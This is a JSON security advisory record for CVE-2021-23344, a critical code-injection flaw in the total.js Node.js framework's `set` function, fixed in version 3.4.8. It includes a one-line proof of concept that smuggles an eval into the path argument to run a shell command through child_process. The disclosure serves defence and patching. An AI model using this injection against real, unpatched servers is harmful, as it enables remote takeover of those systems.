{"id":"GHSA-3wj8-vp9h-rm6m","summary":"total.js Remote Code Execution Vulnerability","details":"total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.\n\n### PoC\n```js\n// To be run in a nodejs console: \nrequire('total.js/utils').set({}, 'a;eval(`require(\"child_process\")\\\\x2eexecSync(\"touch pwned\")`);//')\n```","aliases":["CVE-2021-23344","SNYK-JS-TOTALJS-1077069"],"modified":"2026-07-08T06:49:38.665850474Z","published":"2021-03-19T21:32:20Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-03-12T22:42:43Z","nvd_published_at":"2021-03-04T17:15:00Z","cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23344"},{"type":"WEB","url":"https://github.com/totaljs/framework/commit/c812bbcab8981797d3a1b9993fc42dad3d246f04"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-TOTALJS-1077069"}],"affected":[{"package":{"name":"total.js","ecosystem":"npm","purl":"pkg:npm/total.js"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-3wj8-vp9h-rm6m/GHSA-3wj8-vp9h-rm6m.json","last_known_affected_version_range":"\u003c 3.4.7"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}